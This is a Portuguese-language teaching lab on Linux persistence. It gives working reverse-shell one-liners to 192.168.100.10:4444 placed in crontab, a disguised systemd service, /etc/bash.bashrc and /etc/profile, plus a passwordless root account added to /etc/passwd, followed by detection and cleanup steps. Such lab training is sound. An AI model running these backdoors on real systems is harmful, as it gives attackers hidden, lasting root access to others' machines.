Pular para o conteúdo principal

Lab 9.3: Persistência e Backdoors Linux

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Implementar múltiplas técnicas de persistência em Linux
  • Criar backdoors que sobrevivem ao reboot
  • Modificar arquivos de sistema para manter o acesso
  • Utilizar systemd para persistência
  • Esconder processos e arquivos
  • Detectar persistência em um sistema Linux
  • Limpar um sistema comprometido

Duração Estimada​

35 minutos

Pré-requisitos​

  • VM Linux (Ubuntu/Debian)
  • Acesso root (obtido via Lab 9.1)
  • Labs 9.1 e 9.2 completos
  • Compreensão de cron, systemd, bash

Contexto Profissional​

Após obter acesso root, o atacante deseja:

  • Manter o acesso mesmo após reboot
  • Sobreviver a atualizações do sistema
  • Permanecer indetectável o maior tempo possível

Técnicas de persistência usadas por:

  • Grupos APT para acesso de longo prazo
  • Ransomware para reinfecção
  • Botnets para controle permanente

Instalar backdoors em sistemas sem autorização = Crime grave.

AUTORIZADO: Apenas VMs de teste
PROIBIDO: Sistemas reais sem permissão


Parte 1: Cron Jobs Maliciosos​

Crontab do Usuário​

Adicionar tarefa oculta:

(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -

Execução: A cada inicialização!

Cron do Sistema (Root)​

Arquivo /etc/crontab:

echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab

Execução: A cada 10 minutos como root!

Perguntas:

  1. O cron job sobreviveu ao reboot?
  2. Ele é visível para um usuário comum?

Parte 2: Serviços systemd​

Criar Serviço Malicioso​

Arquivo /etc/systemd/system/system-update.service:

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

Ativar:

systemctl enable system-update.service
systemctl start system-update.service

Reverse shell executa como serviço do sistema!

Verificar:

systemctl status system-update

Aparece como serviço legítimo!


Parte 3: Modificação de Arquivos de Sistema​

Bashrc Global​

Arquivo /etc/bash.bashrc:

echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc

Cada terminal aberto: Reverse shell!

Perfil SSH​

Arquivo /etc/profile:

echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile

Modificação do /etc/passwd​

Criar conta root sem senha:

echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd

Login:

su backdoor

Nenhuma senha solicitada, você é root!

Perguntas: 3. O backdoor no bashrc funcionou? 4. A conta backdoor sem senha funciona?


Parte 4: Detecção​

Procurar Cron Jobs Suspeitos​

# Crontabs dos usuários
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# Cron do sistema
cat /etc/crontab
ls -la /etc/cron.*

Procurar Serviços Suspeitos​

systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled

Verificar Arquivos Modificados​

# Bashrc modificado recentemente
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc

# Comparar com baseline
dpkg -V bash

Procurar Contas Suspeitas​

cat /etc/passwd | grep :0:

Se outro além de root tem UID 0: Backdoor!

Perguntas: 5. Quantos backdoors você detectou? 6. Como automatizar a detecção?


Parte 5: Limpeza​

Remover Persistência​

# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab

# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service

# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc

# Conta
sed -i '/backdoor/d' /etc/passwd

Entregáveis​

  1. Relatório com 3 métodos de persistência testados
  2. Prova de sobrevivência ao reboot
  3. Script de detecção automatizado
  4. Procedimento de limpeza

Conclusão​

Técnicas dominadas:

  • Cron jobs maliciosos
  • Backdoors em serviços systemd
  • Modificação de arquivos de sistema
  • Persistência por chave SSH
  • Detecção e limpeza

Combinado com Labs 9.1 e 9.2:

  • Escalada de usuário → root
  • Reverse shell
  • Persistência permanente

Cadeia de ataque Linux completa!


Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 9